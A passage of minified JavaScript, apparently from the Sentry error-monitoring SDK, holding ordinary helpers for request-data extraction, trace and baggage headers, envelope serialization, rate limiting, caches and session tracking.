vsA(A,{path:!0,method:!0,customRoute:q})[0]}}}function nyq(A,K){let q={};return(Array.isArray(K)?K:Yj8).forEach((z)=>{if(A&&z in A)q[z]=A[z]}),q}function cu1(A,K){let{include:q=cyq,deps:Y}=K||{},z={},w=A.headers||{},H=A.method,J=w.host||A.hostname||A.host||"<no host>",O=A.protocol==="https"||A.socket&&A.socket.encrypted?"https":"http",X=A.originalUrl||A.url||"",$=X.startsWith(O)?X:`${O}://${J}${X}`;return q.forEach((_)=>{switch(_){case"headers":{if(z.headers=w,!q.includes("cookies"))delete z.headers.cookie;break}case"method":{z.method=H;break}case"url":{z.url=$;break}case"cookies":{z.cookies=A.cookies||w.cookie&&gyq.parseCookie(w.cookie)||{};break}case"query_string":{z.query_string=zj8(A,Y);break}case"data":{if(H==="GET"||H==="HEAD")break;if(A.body!==void 0)z.data=qj8.isString(A.body)?A.body:JSON.stringify(Uyq.normalize(A.body));break}default:if({}.hasOwnProperty.call(A,_))z[_]=A[_]}}),z}function ryq(A,K,q){let Y={...dyq,...q&&q.include};if(Y.request){let z=Array.isArray(Y.request)?cu1(K,{include:Y.request,deps:q&&q.deps}):cu1(K,{deps:q&&q.deps});A.request={...A.request,...z}}if(Y.user){let z=K.user&&qj8.isPlainObject(K.user)?nyq(K.user,Y.user):{};if(Object.keys(z).length)A.user={...A.user,...z}}if(Y.ip){let z=K.ip||K.socket&&K.socket.remoteAddress;if(z)A.user={...A.user,ip_address:z}}if(Y.transaction&&!A.transaction)A.transaction=iyq(K,Y.transaction);return A}function zj8(A,K){let q=A.originalUrl||A.url||"";if(!q)return;if(q.startsWith("/"))q=`http://dogs.are.great${q}`;try{return A.query||typeof URL<"u"&&new URL(q).search.slice(1)||K&&K.url&&K.url.parse(q).query||void 0}catch(Y){return}}function wj8(A){let K={};try{A.forEach((q,Y)=>{if(typeof q==="string")K[Y]=q})}catch(q){Fyq.DEBUG_BUILD&&Qyq.logger.warn("Sentry failed extracting headers from a request object. If you see this, please file an issue.")}return K}function oyq(A){let K=wj8(A.headers);return{method:A.method,url:A.url,headers:K}}Hj8.DEFAULT_USER_INCLUDES=Yj8;Hj8.addRequestDataToEvent=ryq;Hj8.addRequestDataToTransaction=lyq;Hj8.extractPathForTransaction=vsA;Hj8.extractRequestData=cu1;Hj8.winterCGHeadersToDict=wj8;Hj8.winterCGRequestToRequestData=oyq});var _j8=v(($j8)=>{Object.defineProperty($j8,"__esModule",{value:!0});var Oj8=["fatal","error","warning","log","info","debug"];function YIq(A){return Xj8(A)}function Xj8(A){return A==="warn"?"warning":Oj8.includes(A)?A:"log"}$j8.severityFromString=YIq;$j8.severityLevelFromString=Xj8;$j8.validSeverityLevels=Oj8});var lu1=v((jj8)=>{Object.defineProperty(jj8,"__esModule",{value:!0});var Gj8=YD(),Zj8=1000;function Wj8(){return Date.now()/Zj8}function JIq(){let{performance:A}=Gj8.GLOBAL_OBJ;if(!A||!A.now)return Wj8;let K=Date.now()-A.now(),q=A.timeOrigin==null?K:A.timeOrigin;return()=>{return(q+A.now())/Zj8}}var Dj8=JIq(),OIq=Dj8;jj8._browserPerformanceTimeOriginMode=void 0;var XIq=(()=>{let{performance:A}=Gj8.GLOBAL_OBJ;if(!A||!A.now){jj8._browserPerformanceTimeOriginMode="none";return}let K=3600000,q=A.now(),Y=Date.now(),z=A.timeOrigin?Math.abs(A.timeOrigin+q-Y):K,w=z<K,H=A.timing&&A.timing.navigationStart,O=typeof H==="number"?Math.abs(H+q-Y):K,X=O<K;if(w||X)if(z<=O)return jj8._browserPerformanceTimeOriginMode="timeOrigin",A.timeOrigin;else return jj8._browserPerformanceTimeOriginMode="navigationStart",H;return jj8._browserPerformanceTimeOriginMode="dateNow",Y})();jj8.browserPerformanceTimeOrigin=XIq;jj8.dateTimestampInSeconds=Wj8;jj8.timestampInSeconds=Dj8;jj8.timestampWithMs=OIq});var nu1=v((fj8)=>{Object.defineProperty(fj8,"__esModule",{value:!0});var WIq=Xb(),DIq=SE(),jIq=xR(),MIq="baggage",iu1="sentry-",Pj8=/^sentry-/,Vj8=8192;function PIq(A){if(!DIq.isString(A)&&!Array.isArray(A))return;let K={};if(Array.isArray(A))K=A.reduce((Y,z)=>{let w=Mj8(z);for(let H of Object.keys(w))Y[H]=w[H];return Y},{});else{if(!A)return;K=Mj8(A)}let q=Object.entries(K).reduce((Y,[z,w])=>{if(z.match(Pj8)){let H=z.slice(iu1.length);Y[H]=w}return Y},{});if(Object.keys(q).length>0)return q;else return}function VIq(A){if(!A)return;let K=Object.entries(A).reduce((q,[Y,z])=>{if(z)q[`${iu1}${Y}`]=z;return q},{});return fIq(K)}function Mj8(A){return A.split(",").map((K)=>K.split("=").map((q)=>decodeURIComponent(q.trim()))).reduce((K,[q,Y])=>{return K[q]=Y,K},{})}function fIq(A){if(Object.keys(A).length===0)return;return Object.entries(A).reduce((K,[q,Y],z)=>{let w=`${encodeURIComponent(q)}=${encodeURIComponent(Y)}`,H=z===0?w:`${K},${w}`;if(H.length>Vj8)return WIq.DEBUG_BUILD&&jIq.logger.warn(`Not adding key: ${q} with val: ${Y} to baggage header due to exceeding baggage size limits.`),K;else return H},"")}fj8.BAGGAGE_HEADER_NAME=MIq;fj8.MAX_BAGGAGE_STRING_LENGTH=Vj8;fj8.SENTRY_BAGGAGE_KEY_PREFIX=iu1;fj8.SENTRY_BAGGAGE_KEY_PREFIX_REGEX=Pj8;fj8.baggageHeaderToDynamicSamplingContext=PIq;fj8.dynamicSamplingContextToSentryBaggageHeader=VIq});var Ej8=v((vj8)=>{Object.defineProperty(vj8,"__esModule",{value:!0});var Nj8=nu1(),bE=HvA(),Tj8=new RegExp("^[ \\t]*([0-9a-f]{32})?-?([0-9a-f]{16})?-?([01])?[ \\t]*$");function ru1(A){if(!A)return;let K=A.match(Tj8);if(!K)return;let q;if(K[3]==="1")q=!0;else if(K[3]==="0")q=!1;return{traceId:K[1],parentSampled:q,parentSpanId:K[2]}}function LIq(A,K){let q=ru1(A),Y=Nj8.baggageHeaderToDynamicSamplingContext(K),{traceId:z,parentSpanId:w,parentSampled:H}=q||{};if(!q)return{traceparentData:q,dynamicSamplingContext:void 0,propagationContext:{traceId:z||bE.uuid4(),spanId:bE.uuid4().substring(16)}};else return{traceparentData:q,dynamicSamplingContext:Y||{},propagationContext:{traceId:z||bE.uuid4(),parentSpanId:w||bE.uuid4().substring(16),spanId:bE.uuid4().substring(16),sampled:H,dsc:Y||{}}}}function RIq(A,K){let q=ru1(A),Y=Nj8.baggageHeaderToDynamicSamplingContext(K),{traceId:z,parentSpanId:w,parentSampled:H}=q||{};if(!q)return{traceId:z||bE.uuid4(),spanId:bE.uuid4().substring(16)};else return{traceId:z||bE.uuid4(),parentSpanId:w||bE.uuid4().substring(16),spanId:bE.uuid4().substring(16),sampled:H,dsc:Y||{}}}function yIq(A=bE.uuid4(),K=bE.uuid4().substring(16),q){let Y="";if(q!==void 0)Y=q?"-1":"-0";return`${A}-${K}${Y}`}vj8.TRACEPARENT_REGEXP=Tj8;vj8.extractTraceparentData=ru1;vj8.generateSentryTraceHeader=yIq;vj8.propagationContextFromHeaders=RIq;vj8.tracingContextFromHeaders=LIq});var au1=v((Lj8)=>{Object.defineProperty(Lj8,"__esModule",{value:!0});var uIq=Xu1(),BIq=$vA(),kj8=hE();function mIq(A,K=[]){return[A,K]}function gIq(A,K){let[q,Y]=A;return[q,[...Y,K]]}function Cj8(A,K){let q=A[1];for(let Y of q){let z=Y[0].type;if(K(Y,z))return!0}return!1}function FIq(A,K){return Cj8(A,(q,Y)=>K.includes(Y))}function ou1(A,K){return(K||new TextEncoder).encode(A)}function QIq(A,K){let[q,Y]=A,z=JSON.stringify(q);function w(H){if(typeof z==="string")z=typeof H==="string"?z+H:[ou1(z,K),H];else z.push(typeof H==="string"?ou1(H,K):H)}for(let H of Y){let[J,O]=H;if(w(` ${JSON.stringify(J)} `),typeof O==="string"||O instanceof Uint8Array)w(O);else{let X;try{X=JSON.stringify(O)}catch($){X=JSON.stringify(BIq.normalize(O))}w(X)}}return typeof z==="string"?z:UIq(z)}function UIq(A){let K=A.reduce((z,w)=>z+w.length,0),q=new Uint8Array(K),Y=0;for(let z of A)q.set(z,Y),Y+=z.length;return q}function pIq(A,K,q){let Y=typeof A==="string"?K.encode(A):A;function z(O){let X=Y.subarray(0,O);return Y=Y.subarray(O+1),X}function w(){let O=Y.indexOf(10);if(O<0)O=Y.length;return JSON.parse(q.decode(z(O)))}let H=w(),J=[];while(Y.length){let O=w(),X=typeof O.length==="number"?O.length:void 0;J.push([O,X?z(X):w()])}return[H,J]}function dIq(A,K){let q=typeof A.data==="string"?ou1(A.data,K):A.data;return[kj8.dropUndefinedKeys({type:"attachment",length:q.length,filename:A.filename,content_type:A.contentType,attachment_type:A.attachmentType}),q]}var cIq={session:"session",sessions:"session",attachment:"attachment",transaction:"transaction",event:"error",client_report:"internal",user_report:"default",profile:"profile",replay_event:"replay",replay_recording:"replay",check_in:"monitor",feedback:"feedback",span:"span",statsd:"metric_bucket"};function lIq(A){return cIq[A]}function iIq(A){if(!A||!A.sdk)return;let{name:K,version:q}=A.sdk;return{name:K,version:q}}function nIq(A,K,q,Y){let z=A.sdkProcessingMetadata&&A.sdkProcessingMetadata.dynamicSamplingContext;return{event_id:A.event_id,sent_at:new Date().toISOString(),...K&&{sdk:K},...!!q&&Y&&{dsn:uIq.dsnToString(Y)},...z&&{trace:kj8.dropUndefinedKeys({...z})}}}Lj8.addItemToEnvelope=gIq;Lj8.createAttachmentEnvelopeItem=dIq;Lj8.createEnvelope=mIq;Lj8.createEventEnvelopeHeaders=nIq;Lj8.envelopeContainsItemType=FIq;Lj8.envelopeItemTypeToDataCategory=lIq;Lj8.forEachEnvelopeItem=Cj8;Lj8.getSdkMetadataForEnvelopeHeader=iIq;Lj8.parseEnvelope=pIq;Lj8.serializeEnvelope=QIq});var yj8=v((Rj8)=>{Object.defineProperty(Rj8,"__esModule",{value:!0});var zSq=au1(),wSq=lu1();function HSq(A,K,q){let Y=[{type:"client_report"},{timestamp:q||wSq.dateTimestampInSeconds(),discarded_events:A}];return zSq.createEnvelope(K?{dsn:K}:{},[Y])}Rj8.createClientReportEnvelope=HSq});var xj8=v((bj8)=>{Object.defineProperty(bj8,"__esModule",{value:!0});var Ij8=60000;function Sj8(A,K=Date.now()){let q=parseInt(`${A}`,10);if(!isNaN(q))return q*1000;let Y=Date.parse(`${A}`);if(!isNaN(Y))return Y-K;return Ij8}function hj8(A,K){return A[K]||A.all||0}function OSq(A,K,q=Date.now()){return hj8(A,K)>q}function XSq(A,{statusCode:K,headers:q},Y=Date.now()){let z={...A},w=q&&q["x-sentry-rate-limits"],H=q&&q["retry-after"];if(w)for(let J of w.trim().split(",")){let[O,X,,,$]=J.split(":",5),_=parseInt(O,10),G=(!isNaN(_)?_:60)*1000;if(!X)z.all=Y+G;else for(let Z of X.split(";"))if(Z==="metric_bucket"){if(!$||$.split(";").includes("custom"))z[Z]=Y+G}else z[Z]=Y+G}else if(H)z.all=Y+Sj8(H,Y);else if(K===429)z.all=Y+60000;return z}bj8.DEFAULT_RETRY_AFTER=Ij8;bj8.disabledUntil=hj8;bj8.isRateLimited=OSq;bj8.parseRetryAfterHeader=Sj8;bj8.updateRateLimits=XSq});var gj8=v((mj8)=>{Object.defineProperty(mj8,"__esModule",{value:!0});function uj8(A,K,q){let Y=K.match(/([a-z_]+)\.(.*)/i);if(Y===null)A[K]=q;else{let z=A[Y[1]];uj8(z,Y[2],q)}}function DSq(A,K,q={}){return Array.isArray(K)?Bj8(A,K,q):jSq(A,K,q)}function Bj8(A,K,q){let Y=K.find((z)=>z.name===A.name);if(Y){for(let[z,w]of Object.entries(q))uj8(Y,z,w);return K}return[...K,A]}function jSq(A,K,q){return(z)=>{let w=K(z);if(A.allowExclusionByUser){if(!w.find((J)=>J.name===A.name))return w}return Bj8(A,w,q)}}mj8.addOrUpdateIntegration=DSq});var Qj8=v((Fj8)=>{Object.defineProperty(Fj8,"__esModule",{value:!0});function PSq(A){let K=[],q={};return{add(Y,z){while(K.length>=A){let w=K.shift();if(w!==void 0)delete q[w]}if(q[Y])this.delete(Y);K.push(Y),q[Y]=z},clear(){q={},K=[]},get(Y){return q[Y]},size(){return K.length},delete(Y){if(!q[Y])return!1;delete q[Y];for(let z=0;z<K.length;z++)if(K[z]===Y){K.splice(z,1);break}return!0}}}Fj8.makeFifoCache=PSq});var cj8=v((dj8)=>{Object.defineProperty(dj8,"__esModule",{value:!0});var su1=SE(),Uj8=HvA(),fSq=$vA(),NSq=hE();function tu1(A,K){return A(K.stack||"",1)}function pj8(A,K){let q={type:K.name||K.constructor.name,value:K.message},Y=tu1(A,K);if(Y.length)q.stacktrace={frames:Y};return q}function TSq(A){if("name"in A&&typeof A.name==="string"){let K=`'${A.name}' captured as exception`;if("message"in A&&typeof A.message==="string")K+=` with message '${A.message}'`;return K}else if("message"in A&&typeof A.message==="string")return A.message;else return`Object captured as exception with keys: ${NSq.extractExceptionKeysForMessage(A)}`}function vSq(A,K,q,Y){let z=typeof A==="function"?A().getClient():A,w=q,J=Y&&Y.data&&Y.data.mechanism||{handled:!0,type:"generic"},O;if(!su1.isError(q)){if(su1.isPlainObject(q)){let $=z&&z.getOptions().normalizeDepth;O={["__serialized__"]:fSq.normalizeToSize(q,$)};let _=TSq(q);w=Y&&Y.syntheticException||Error(_),w.message=_}else w=Y&&Y.syntheticException||Error(q),w.message=q;J.synthetic=!0}let X={exception:{values:[pj8(K,w)]}};if(O)X.extra=O;return Uj8.addExceptionTypeValue(X,void 0,void 0),Uj8.addExceptionMechanism(X,J),{...X,event_id:Y&&Y.event_id}}function ESq(A,K,q="info",Y,z){let w={event_id:Y&&Y.event_id,level:q};if(z&&Y&&Y.syntheticException){let H=tu1(A,Y.syntheticException);if(H.length)w.exception={values:[{value:K,stacktrace:{frames:H}}]}}if(su1.isParameterizedString(K)){let{__sentry_template_string__:H,__sentry_template_values__:J}=K;return w.logentry={message:H,params:J},w}return w.message=K,w}dj8.eventFromMessage=ESq;dj8.eventFromUnknownInput=vSq;dj8.exceptionFromError=pj8;dj8.parseStackFrames=tu1});var ij8=v((lj8)=>{Object.defineProperty(lj8,"__esModule",{value:!0});var ySq=hE(),ISq=JsA();function SSq(A,K,q,Y){let z=A(),w=!1,H=!0;return setInterval(()=>{let J=z.getTimeMs();if(w===!1&&J>K+q){if(w=!0,H)Y()}if(J<K+q)w=!1},20),{poll:()=>{z.reset()},enabled:(J)=>{H=J}}}function hSq(A,K,q){let Y=K?K.replace(/^file:\/\//,""):void 0,z=A.location.columnNumber?A.location.columnNumber+1:void 0,w=A.location.lineNumber?A.location.lineNumber+1:void 0;return ySq.dropUndefinedKeys({filename:Y,module:q(Y),function:A.functionName||"?",colno:z,lineno:w,in_app:Y?ISq.filenameIsInApp(Y):void 0})}lj8.callFrameToStackFrame=hSq;lj8.watchdogTimer=SSq});var oj8=v((rj8)=>{Object.defineProperty(rj8,"__esModule",{value:!0});class nj8{constructor(A){this._maxSize=A,this._cache=new Map}get size(){return this._cache.size}get(A){let K=this._cache.get(A);if(K===void 0)return;return this._cache.delete(A),this._cache.set(A,K),K}set(A,K){if(this._cache.size>=this._maxSize)this._cache.delete(this._cache.keys().next().value);this._cache.set(A,K)}remove(A){let K=this._cache.get(A);if(K)this._cache.delete(A);return K}clear(){this._cache.clear()}keys(){return Array.from(this._cache.keys())}values(){let A=[];return this._cache.forEach((K)=>A.push(K)),A}}rj8.LRUMap=nj8});var eu1=v((aj8)=>{Object.defineProperty(aj8,"__esModule",{value:!0});function BSq(A,K){return A!=null?A:K()}aj8._nullishCoalesce=BSq});var tj8=v((sj8)=>{Object.defineProperty(sj8,"__esModule",{value:!0});var gSq=eu1();async function FSq(A,K){return gSq._nullishCoalesce(A,K)}sj8._asyncNullishCoalesce=FSq});var AB1=v((ej8)=>{Object.defineProperty(ej8,"__esModule",{value:!0});async function USq(A){let K=void 0,q=A[0],Y=1;while(Y<A.length){let z=A[Y],w=A[Y+1];if(Y+=2,(z==="optionalAccess"||z==="optionalCall")&&q==null)return;if(z==="access"||z==="optionalAccess")K=q,q=await w(q);else if(z==="call"||z==="optionalCall")q=await w((...H)=>q.call(K,...H)),K=void 0}return q}ej8._asyncOptionalChain=USq});var KM8=v((AM8)=>{Object.defineProperty(AM8,"__esModule",{value:!0});var dSq=AB1();async function cSq(A){let K=await dSq._asyncOptionalChain(A);return K==null?!0:K}AM8._asyncOptionalChainDelete=cSq});var KB1=v((qM8)=>{Object.defineProperty(qM8,"__esModule",{value:!0});function iSq(A){let K=void 0,q=A[0],Y=1;while(Y<A.length){let z=A[Y],w=A[Y+1];if(Y+=2,(z==="optionalAccess"||z==="optionalCall")&&q==null)return;if(z==="access"||z==="optionalAccess")K=q,q=w(q);else if(z==="call"||z==="optionalCall")q=w((...H)=>q.call(K,...H)),K=void 0}return q}qM8._optionalChain=iSq});var zM8=v((YM8)=>{Object.defineProperty(YM8,"__esModule",{value:!0});var rSq=KB1();function oSq(A){let K=rSq._optionalChain(A);return K==null?!0:K}YM8._optionalChainDelete=oSq});var HM8=v((wM8)=>{Object.defineProperty(wM8,"__esModule",{value:!0});function sSq(A){return A.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&").replace(/-/g,"\\x2d")}wM8.escapeStringForRegex=sSq});var H8=v((JB1)=>{Object.defineProperty(JB1,"__esModule",{value:!0});var eSq=hW8(),EsA=wu1(),qB1=Xu1(),Ahq=$u1(),YB1=YD(),Khq=bD8(),zD=SE(),qhq=gD8(),ksA=xR(),Yhq=gu1(),Xi=HvA(),zB1=mu1(),CsA=$vA(),tg=hE(),c1A=oD8(),zhq=tD8(),l1A=Jj8(),wB1=_j8(),GvA=OsA(),ZvA=zvA(),$i=vu1(),HB1=Uu1(),WvA=lu1(),DvA=Ej8(),JM8=Bu1(),_b=au1(),whq=yj8(),jvA=xj8(),JHA=nu1(),LsA=du1(),Hhq=gj8(),Jhq=Qj8(),RsA=cj8(),OM8=ij8(),Ohq=oj8(),Xhq=tj8(),$hq=AB1(),_hq=KM8(),Ghq=eu1(),Zhq=KB1(),Whq=zM8(),Dhq=Du1(),jhq=fu1(),XM8=xu1(),Mhq=ku1(),Phq=bu1(),Vhq=Ru1(),fhq=Su1(),Nhq=ag(),Thq=JsA(),vhq=HM8(),Ehq=hu1();JB1.applyAggregateErrorsToEvent=eSq.applyAggregateErrorsToEvent;JB1.getComponentName=EsA.getComponentName;JB1.getDomElement=EsA.getDomElement;JB1.getLocationHref=EsA.getLocationHref;JB1.htmlTreeAsString=EsA.htmlTreeAsString;JB1.dsnFromString=qB1.dsnFromString;JB1.dsnToString=qB1.dsnToString;JB1.makeDsn=qB1.makeDsn;JB1.SentryError=Ahq.SentryError;JB1.GLOBAL_OBJ=YB1.GLOBAL_OBJ;JB1.getGlobalObject=YB1.getGlobalObject;JB1.getGlobalSingleton=YB1.getGlobalSingleton;JB1.addInstrumentationHandler=Khq.addInstrumentationHandler;JB1.isDOMError=zD.isDOMError;JB1.isDOMException=zD.isDOMException;JB1.isElement=zD.isElement;JB1.isError=zD.isError;JB1.isErrorEvent=zD.isErrorEvent;JB1.isEvent=zD.isEvent;JB1.isInstanceOf=zD.isInstanceOf;JB1.isNaN=zD.isNaN;JB1.isParameterizedString=zD.isParameterizedString;JB1.isPlainObject=zD.isPlainObject;JB1.isPrimitive=zD.isPrimitive;JB1.isRegExp=zD.isRegExp;JB1.isString=zD.isString;JB1.isSyntheticEvent=zD.isSyntheticEvent;JB1.isThenable=zD.isThenable;JB1.isVueViewModel=zD.isVueViewModel;JB1.isBrowser=qhq.isBrowser;JB1.CONSOLE_LEVELS=ksA.CONSOLE_LEVELS;JB1.consoleSandbox=ksA.consoleSandbox;JB1.logger=ksA.logger;JB1.originalConsoleMethods=ksA.originalConsoleMethods;JB1.memoBuilder=Yhq.memoBuilder;JB1.addContextToFrame=Xi.addContextToFrame;JB1.addExceptionMechanism=Xi.addExceptionMechanism;JB1.addExceptionTypeValue=Xi.addExceptionTypeValue;JB1.arrayify=Xi.arrayify;JB1.checkOrSetAlreadyCaught=Xi.checkOrSetAlreadyCaught;JB1.getEventDescription=Xi.getEventDescription;JB1.parseSemver=Xi.parseSemver;JB1.uuid4=Xi.uuid4;JB1.dynamicRequire=zB1.dynamicRequire;JB1.isNodeEnv=zB1.isNodeEnv;JB1.loadModule=zB1.loadModule;JB1.normalize=CsA.normalize;JB1.normalizeToSize=CsA.normalizeToSize;JB1.normalizeUrlToBase=CsA.normalizeUrlToBase;JB1.walk=CsA.walk;JB1.addNonEnumerableProperty=tg.addNonEnumerableProperty;JB1.convertToPlainObject=tg.convertToPlainObject;JB1.dropUndefinedKeys=tg.dropUndefinedKeys;JB1.extractExceptionKeysForMessage=tg.extractExceptionKeysForMessage;JB1.fill=tg.fill;JB1.getOriginalFunction=tg.getOriginalFunction;JB1.markFunctionWrapped=tg.markFunctionWrapped;JB1.objectify=tg.objectify;JB1.urlEncode=tg.urlEncode;JB1.basename=c1A.basename;JB1.dirname=c1A.dirname;JB1.isAbsolute=c1A.isAbsolute;JB1.join=c1A.join;JB1.normalizePath=c1A.normalizePath;JB1.relative=c1A.relative;JB1.resolve=c1A.resolve;JB1.makePromiseBuffer=zhq.makePromiseBuffer;JB1.DEFAULT_USER_INCLUDES=l1A.DEFAULT_USER_INCLUDES;JB1.addRequestDataToEvent=l1A.addRequestDataToEvent;JB1.addRequestDataToTransaction=l1A.addRequestDataToTransaction;JB1.extractPathForTransaction=l1A.extractPathForTransaction;JB1.extractRequestData=l1A.extractRequestData;JB1.winterCGHeadersToDict=l1A.winterCGHeadersToDict;JB1.winterCGRequestToRequestData=l1A.winterCGRequestToRequestData;JB1.severityFromString=wB1.severityFromString;JB1.severityLevelFromString=wB1.severityLevelFromString;JB1.validSeverityLevels=wB1.validSeverityLevels;JB1.createStackParser=GvA.createStackParser;JB1.getFunctionName=GvA.getFunctionName;JB1.nodeStackLineParser=GvA.nodeStackLineParser;JB1.stackParserFromStackParserOptions=GvA.stackParserFromStackParserOptions;JB1.stripSentryFramesAndReverse=GvA.stripSentryFramesAndReverse;JB1.isMatchingPattern=ZvA.isMatchingPattern;JB1.safeJoin=ZvA.safeJoin;JB1.snipLine=ZvA.snipLine;JB1.stringMatchesSomePattern=ZvA.stringMatchesSomePattern;JB1.truncate=ZvA.truncate;JB1.isNativeFetch=$i.isNativeFetch;JB1.supportsDOMError=$i.supportsDOMError;JB1.supportsDOMException=$i.supportsDOMException;JB1.supportsErrorEvent=$i.supportsErrorEvent;JB1.supportsFetch=$i.supportsFetch;JB1.supportsNativeFetch=$i.supportsNativeFetch;JB1.supportsReferrerPolicy=$i.supportsReferrerPolicy;JB1.supportsReportingObserver=$i.supportsReportingObserver;JB1.SyncPromise=HB1.SyncPromise;JB1.rejectedSyncPromise=HB1.rejectedSyncPromise;JB1.resolvedSyncPromise=HB1.resolvedSyncPromise;Object.defineProperty(JB1,"_browserPerformanceTimeOriginMode",{enumerable:!0,get:()=>WvA._browserPerformanceTimeOriginMode});JB1.browserPerformanceTimeOrigin=WvA.browserPerformanceTimeOrigin;JB1.dateTimestampInSeconds=WvA.dateTimestampInSeconds;JB1.timestampInSeconds=WvA.timestampInSeconds;JB1.timestampWithMs=WvA.timestampWithMs;JB1.TRACEPARENT_REGEXP=DvA.TRACEPARENT_REGEXP;JB1.extractTraceparentData=DvA.extractTraceparentData;JB1.generateSentryTraceHeader=DvA.generateSentryTraceHeader;JB1.propagationContextFromHeaders=DvA.propagationContextFromHeaders;JB1.tracingContextFromHeaders=DvA.tracingContextFromHeaders;JB1.getSDKSource=JM8.getSDKSource;JB1.isBrowserBundle=JM8.isBrowserBundle;JB1.addItemToEnvelope=_b.addItemToEnvelope;JB1.createAttachmentEnvelopeItem=_b.createAttachmentEnvelopeItem;JB1.createEnvelope=_b.createEnvelope;JB1.createEventEnvelopeHeaders=_b.createEventEnvelopeHeaders;JB1.envelopeContainsItemType=_b.envelopeContainsItemType;JB1.envelopeItemTypeToDataCategory=_b.envelopeItemTypeToDataCategory;JB1.forEachEnvelopeItem=_b.forEachEnvelopeItem;JB1.getSdkMetadataForEnvelopeHeader=_b.getSdkMetadataForEnvelopeHeader;JB1.parseEnvelope=_b.parseEnvelope;JB1.serializeEnvelope=_b.serializeEnvelope;JB1.createClientReportEnvelope=whq.createClientReportEnvelope;JB1.DEFAULT_RETRY_AFTER=jvA.DEFAULT_RETRY_AFTER;JB1.disabledUntil=jvA.disabledUntil;JB1.isRateLimited=jvA.isRateLimited;JB1.parseRetryAfterHeader=jvA.parseRetryAfterHeader;JB1.updateRateLimits=jvA.updateRateLimits;JB1.BAGGAGE_HEADER_NAME=JHA.BAGGAGE_HEADER_NAME;JB1.MAX_BAGGAGE_STRING_LENGTH=JHA.MAX_BAGGAGE_STRING_LENGTH;JB1.SENTRY_BAGGAGE_KEY_PREFIX=JHA.SENTRY_BAGGAGE_KEY_PREFIX;JB1.SENTRY_BAGGAGE_KEY_PREFIX_REGEX=JHA.SENTRY_BAGGAGE_KEY_PREFIX_REGEX;JB1.baggageHeaderToDynamicSamplingContext=JHA.baggageHeaderToDynamicSamplingContext;JB1.dynamicSamplingContextToSentryBaggageHeader=JHA.dynamicSamplingContextToSentryBaggageHeader;JB1.getNumberOfUrlSegments=LsA.getNumberOfUrlSegments;JB1.getSanitizedUrlString=LsA.getSanitizedUrlString;JB1.parseUrl=LsA.parseUrl;JB1.stripUrlQueryAndFragment=LsA.stripUrlQueryAndFragment;JB1.addOrUpdateIntegration=Hhq.addOrUpdateIntegration;JB1.makeFifoCache=Jhq.makeFifoCache;JB1.eventFromMessage=RsA.eventFromMessage;JB1.eventFromUnknownInput=RsA.eventFromUnknownInput;JB1.exceptionFromError=RsA.exceptionFromError;JB1.parseStackFrames=RsA.parseStackFrames;JB1.callFrameToStackFrame=OM8.callFrameToStackFrame;JB1.watchdogTimer=OM8.watchdogTimer;JB1.LRUMap=Ohq.LRUMap;JB1._asyncNullishCoalesce=Xhq._asyncNullishCoalesce;JB1._asyncOptionalChain=$hq._asyncOptionalChain;JB1._asyncOptionalChainDelete=_hq._asyncOptionalChainDelete;JB1._nullishCoalesce=Ghq._nullishCoalesce;JB1._optionalChain=Zhq._optionalChain;JB1._optionalChainDelete=Whq._optionalChainDelete;JB1.addConsoleInstrumentationHandler=Dhq.addConsoleInstrumentationHandler;JB1.addClickKeypressInstrumentationHandler=jhq.addClickKeypressInstrumentationHandler;JB1.SENTRY_XHR_DATA_KEY=XM8.SENTRY_XHR_DATA_KEY;JB1.addXhrInstrumentationHandler=XM8.addXhrInstrumentationHandler;JB1.addFetchInstrumentationHandler=Mhq.addFetchInstrumentationHandler;JB1.addHistoryInstrumentationHandler=Phq.addHistoryInstrumentationHandler;JB1.addGlobalErrorInstrumentationHandler=Vhq.addGlobalErrorInstrumentationHandler;JB1.addGlobalUnhandledRejectionInstrumentationHandler=fhq.addGlobalUnhandledRejectionInstrumentationHandler;JB1.resetInstrumentationHandlers=Nhq.resetInstrumentationHandlers;JB1.filenameIsInApp=Thq.filenameIsInApp;JB1.escapeStringForRegex=vhq.escapeStringForRegex;JB1.supportsHistory=Ehq.supportsHistory});var FX=v(($M8)=>{Object.defineProperty($M8,"__esModule",{value:!0});var kuq=typeof __SENTRY_DEBUG__>"u"||__SENTRY_DEBUG__;$M8.DEBUG_BUILD=kuq});var OHA=v((_M8)=>{Object.defineProperty(_M8,"__esModule",{value:!0});var Luq="production";_M8.DEFAULT_ENVIRONMENT=Luq});var MvA=v((ZM8)=>{Object.defineProperty(ZM8,"__esModule",{value:!0});var ysA=H8(),yuq=FX();function GM8(){return ysA.getGlobalSingleton("globalEventProcessors",()=>[])}function Iuq(A){GM8().push(A)}function OB1(A,K,q,Y=0){return new ysA.SyncPromise((z,w)=>{let H=A[Y];if(K===null||typeof H!=="function")z(K);else{let J=H({...K},q);if(yuq.DEBUG_BUILD&&H.id&&J===null&&ysA.logger.log(`Event processor "${H.id}" dropped event`),ysA.isThenable(J))J.then((O)=>OB1(A,O,q,Y+1).then(z)).then(null,w);else OB1(A,J,q,Y+1).then(z).then(null,w)}})}ZM8.addGlobalEventProcessor=Iuq;ZM8.getGlobalEventProcessors=GM8;ZM8.notifyEventProcessors=OB1});var XHA=v((WM8)=>{Object.defineProperty(WM8,"__esModule",{value:!0});var PvA=H8();function xuq(A){let K=PvA.timestampInSeconds(),q={sid:PvA.uuid4(),init:!0,timestamp:K,started:K,duration:0,status:"ok",errors:0,ignoreDuration:!1,toJSON:()=>Buq(q)};if(A)XB1(q,A);return q}function XB1(A,K={}){if(K.user){if(!A.ipAddress&&K.user.ip_address)A.ipAddress=K.user.ip_address;if(!A.did&&!K.did)A.did=K.user.id||K.user.email||K.user.username}if(A.timestamp=K.timestamp||PvA.timestampInSeconds(),K.abnormal_mechanism)A.abnormal_mechanism=K.abnormal_mechanism;if(K.ignoreDuration)A.ignoreDuration=K.ignoreDuration;if(K.sid)A.sid=K.sid.length===32?K.sid:PvA.uuid4();if(K.init!==void 0)A.init=K.init;if(!A.did&&K.did)A.did=`${K.did}`;if(typeof K.started==="number")A.started=K.started;if(A.ignoreDuration)A.duration=void 0;else if(typeof K.duration==="number")A.duration=K.duration;else{let q=A.timestamp-A.started;A.duration=q>=0?q:0}if(K.release)A.release=K.release;if(K.environment)A.environment=K.environment;if(!A.ipAddress&&K.ipAddress)A.ipAddress=K.ipAddress;if(!A.userAgent&&K.userAgent)A.userAgent=K.userAgent;if(typeof K.errors==="number")A.errors=K.errors;if(K.status)A.status=K.status}function uuq(A,K){let q={};if(K)q={status:K};else 